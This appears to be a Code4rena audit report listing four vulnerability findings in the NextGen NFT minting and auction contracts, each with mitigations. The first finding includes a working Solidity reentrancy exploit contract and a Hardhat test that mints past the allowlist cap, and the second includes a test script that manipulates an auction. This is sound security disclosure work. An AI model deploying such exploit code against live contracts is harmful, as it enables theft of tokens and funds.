NextGen - 0xpiken's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/NextGenCore.sol#L194-L198

Vulnerability details

Impact

User is able to bypass the limitation and mint NFTs exceeding the cap.

Proof of Concept

Any qualified user can call NextGenMinterContract#mint() to mint a certain number of NFTs during the allowlist phase of one Collection. merkleProof is used to verifed if the user is qulified. The qualified user can delegate the minting right to another account. The number of NFTs a qualified user can mint can not exceed _maxAllowance:

213:   require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");

217:   require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");

The value of _maxAllowance has been finalized when calculating merkleRoot of the collection. Once all requirements met, NextGenCore#mint() is called to mint NFT to the receiver. However, due to a reentrancy vulnerability, a qualified user can create a malicious smart contract, delegate it as minter and mint as much NFTs as possible:

193:            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
194:            if (phase == 1) {
195:                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
196:            } else {
197:                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
198:            }

The root cause is that the number a user has minted didn't increase before NFT minting, which left a reentrancy vulnerability.

Below is a example of Reentrancy smart contract:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./IERC721Receiver.sol";

interface INextGenMinterContract {
    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external payable;
    function getPrice(uint256 _collectionId) external view returns (uint256);
}

contract Reentrancy is IERC721Receiver {
    address public minterContract;
    uint256 collectionID;
    uint256 numberOfTokens;
    uint256 maxAllowance; 
    string  tokenData;
    address mintTo;
    bytes32[] merkleProofA;
    address delegator;
    uint256 saltfun_o;
    uint256 totalMinted;
    constructor(address _minterContract) payable {
        minterContract = _minterContract;
    }

    receive() external payable {}
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        if (totalMinted >= 40) {
            return IERC721Receiver.onERC721Received.selector;
        } else {
            totalMinted += 1;
            INextGenMinterContract(minterContract).mint{value: INextGenMinterContract(minterContract).getPrice(collectionID)}(collectionID, 1, maxAllowance, tokenData, address(this), merkleProofA, delegator, saltfun_o);
            return IERC721Receiver.onERC721Received.selector;
        }
    }    
    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external payable {
        totalMinted = _numberOfTokens;
        collectionID = _collectionID;
        numberOfTokens = _numberOfTokens;
        maxAllowance = _maxAllowance;
        tokenData = _tokenData;
        merkleProofA = merkleProof;
        delegator = _delegator;
        saltfun_o = _saltfun_o;
        INextGenMinterContract(minterContract).mint{value: msg.value}(_collectionID, _numberOfTokens, _maxAllowance, _tokenData, address(this), merkleProof, _delegator, _saltfun_o);
    }
}

Copy below cods into nextGen.test.js and run npx hardhat test:

    it("#Reentrancy attack", async function () {
      await contracts.hhCore.createCollection(
        "Test Collection 5",
        "Artist 5",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      )
      await contracts.hhCore.setCollectionData(
        5, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        10, // _maxCollectionPurchases
        200, // _collectionTotalSupply
        1000, // _setFinalSupplyTimeAfterMint
      )
      await contracts.hhCore.addRandomizer(
        5, contracts.hhRandomizer,
      )
      await contracts.hhMinter.setCollectionCosts(
        5, // _collectionID
        BigInt(1000000000000000000), // _collectionMintCost 1 eth
        0, 
        0, 
        0, 
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      )
      await contracts.hhMinter.setCollectionPhases(
        5, // _collectionID
        1800000000, // _allowlistStartTime
        1900000000, // _allowlistEndTime
        1900000001, // _publicStartTime
        2000000000, // _publicEndTime
        "0x0b717416f15283010e2d98f1bbdb7b2f9abf9ed0c72b7f1f5c61911662992647", // _merkleRoot
      )
      //@audit-info addr3 deploy Reentrancy smart contract with 30 ether
      let Reentrancy = await ethers.getContractFactory("Reentrancy")
      let reentrancy = await Reentrancy.connect(signers.addr3).deploy(await contracts.hhMinter.getAddress(), {value: "38000000000000000000"})
      //@audit-info register deployed reentrancy as delegatee of addr3
      await contracts.hhDelegation.connect(signers.addr3).registerDelegationAddress(
        "0x8888888888888888888888888888888888888888",
        reentrancy.getAddress(),
        2000000000,
        1,
        true,
        0
      )
      //@audit-info Start allow list sale
      await network.provider.send("evm_setNextBlockTimestamp", [1800000000])
      //@audit-info addr3 mint token through reentrancy smart contract
      await reentrancy.connect(signers.addr3).mint( 
        5, // _collectionID
        2, // _numberOfTokens
        2, // _maxAllowance
        '{"name":"hello"}', // _tokenData
        ["0xb0d96c69509384bd98691849996a4703764cebd4e1ab21b717fdf8534cb810f4", "0xea1792710cc9d8b35c46ddf816a9a9363f7d941fc04c2b55f5ec41f31c4c3a74"], // _merkleProof
        signers.addr3, // _delegator
        2, //_varg0
        { value: "2000000000000000000"}
      )    
     
      expect(await contracts.hhCore.balanceOf(reentrancy.getAddress())).to.be.equal(40)
      expect(await contracts.hhCore.retrieveTokensMintedALPerAddress(5, signers.addr3.address)).to.be.equal(40)
    })

Tools Used

Manual review

Recommended Mitigation Steps

• Use a reentrancy guard.
• Make sure the codes follow the Checks-Effects-Interactions (CEI) pattern. E.g. The affected codes can be updated as below:

-           _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
+           _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L124-L130 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L134-L143

Vulnerability details

Impact

Auction could be broken due to arbitrary cancelBid() before auction ends. the auctioned NFT could be sold in an extremely low price, which causes the loss of auctioned NFT holder.

Proof of Concept

Bidders can call cancelBid() or cancelAllBids() at any time before the auction ends to cancel their bids. The auction process will be broken by this kind of action. Malicious user can bid with a extremely high value in the first to block other normal bidders, and cancel all their bids and get refund before the auction ends, then use a low bid to win the auction.

Copy below cods into nextGen.test.js and run npx hardhat test:

    it("#AuctionDemo Malicious user places high bids to block normal user", async function () {
      let AuctionDemo = await ethers.getContractFactory("auctionDemo")
      let auctionDemo = await AuctionDemo.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      )

      await contracts.hhCore.connect(signers.owner).setApprovalForAll(auctionDemo.getAddress(), true);
      let tokenId = ethers.toBigInt(await contracts.hhCore.viewTokensIndexMin(3)) + ethers.toBigInt(await contracts.hhCore.viewCirSupply(3))
      await contracts.hhMinter.mintAndAuction(signers.owner.address, '{"tdh": "100"}', 1, 3, (await ethers.provider.getBlock('latest')).timestamp+3600);

      expect(await contracts.hhMinter.getAuctionStatus(tokenId)).to.be.equal(true);
      expect(await contracts.hhCore.ownerOf(tokenId)).to.be.equal(signers.owner.address);
      
      //@audit-info addr1 bids a high price 1 ether
      await auctionDemo.connect(signers.addr1).participateToAuction(tokenId, {value: "100000000000000000"})
      let etherBalanceBefore = await ethers.provider.getBalance(signers.owner.address)
      await ethers.provider.send('evm_increaseTime', [3550])
      //@audit-info addr1 cancel all bids before auction ends and get refund
      await auctionDemo.connect(signers.addr1).cancelAllBids(tokenId)
      //@audit-info addr1 bids again with a extremely low price since no other bidders
      await auctionDemo.connect(signers.addr1).participateToAuction(tokenId, {value: 10})
      expect(await ethers.provider.getBalance(auctionDemo.getAddress())).to.be.equal(10)
      await ethers.provider.send('evm_increaseTime', [50])
      await auctionDemo.connect(signers.addr1).claimAuction(tokenId)
      let etherBalanceAfter = await ethers.provider.getBalance(signers.owner.address)
      let auctionedPrice = etherBalanceAfter - etherBalanceBefore
      //@audit-info the auctioned NFT was sold in extremely low price
      expect(auctionedPrice).to.be.equal(10)
      expect(await contracts.hhCore.ownerOf(tokenId)).to.be.equal(signers.addr1.address)
    })

Tools Used

Manual review

Recommended Mitigation Steps

Bidders should not be allowed to cancel their bids before auction ends, or only bidders other than the highest bidder can cancel their bids.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L113 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L116 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/MinterContract.sol#L434-L438

Vulnerability details

Impact

• Bidder can steal gas from the winner or any admin who call auctionDemo#claimAuction().
• Artists have chance to steal gas from the caller of MinterContract#payArtist()

Proof of Concept

The mint and auction process of a NFT typically follows these steps:

• A global admin or the function admin of mintAndAuction is able to invoke mintAndAuction() to mint a NFT and initiate an auction for it.
• Once the NFT is minted, anyone can place bids on the auction by calling auctionDemo#participateToAuction() and providing a certain amount of ether as their bid.
• The winner can call auctionDemo#claimAuction() to withdraw the NFT, and the highest bid will be transferred to the owner of the NFT, while all other bidders will receive a refund.

The problem is that attackers can craft a smart contract with a fallback() function to participate auction. Attackers can bid on any NFT though the smart contract. Once the auction ends and the winner claims the NFT by calling auctionDemo#claimAuction(), the refund of attackers will be transferred to the malicious smart contract and attackers can mint gas token though the smart contract.

• When auctionDemo#claimAuction() is called, any bidder can steal gas from the winner or any admin who call this function.
• When MinterContract#payArtist() is called, the ether receiver have chance to steal gas from the caller.

Tools Used

Manual review

Recommended Mitigation Steps

Consider adding some functions, letting bidder or other user to PULL their assets from smart contract instead of let others PUSH ether to them. The alternative way is adding gas limitation on these calling.

Assessed type

call/delegatecall

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

Bidders's ether could be locked in auctionDemo forever if the auctioned NFT is not claimed.

Proof of Concept

When auction ends, only global amdin or the winner can call claimAuction() to claim the auctioned NFT, all refunds will be returned to all bidders except the winner by iterating through all elements in the array auctionInfoData[_tokenid]. Other bidders have no way to get refund be themself. Moreover, claimAuction() may revert if highestBidder is smart contract which didn't implements IERC721Receiver.onERC721Received(), and all ether received on this auction will be locked in the contract forever.

110:        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
111:            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
112：                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
113:                (bool success, ) = payable(owner()).call{value: highestBid}("");
114:                emit ClaimAuction(owner(), _tokenid, success, highestBid);
115:            } else if (auctionInfoData[_tokenid][i].status == true) {
116:                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
117:                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
118:            } else {}
119:        }

Tools Used

Manual review

Recommended Mitigation Steps

Adding a function to let bidders except the winner can get refund themself after the auction ends.

Assessed type

Other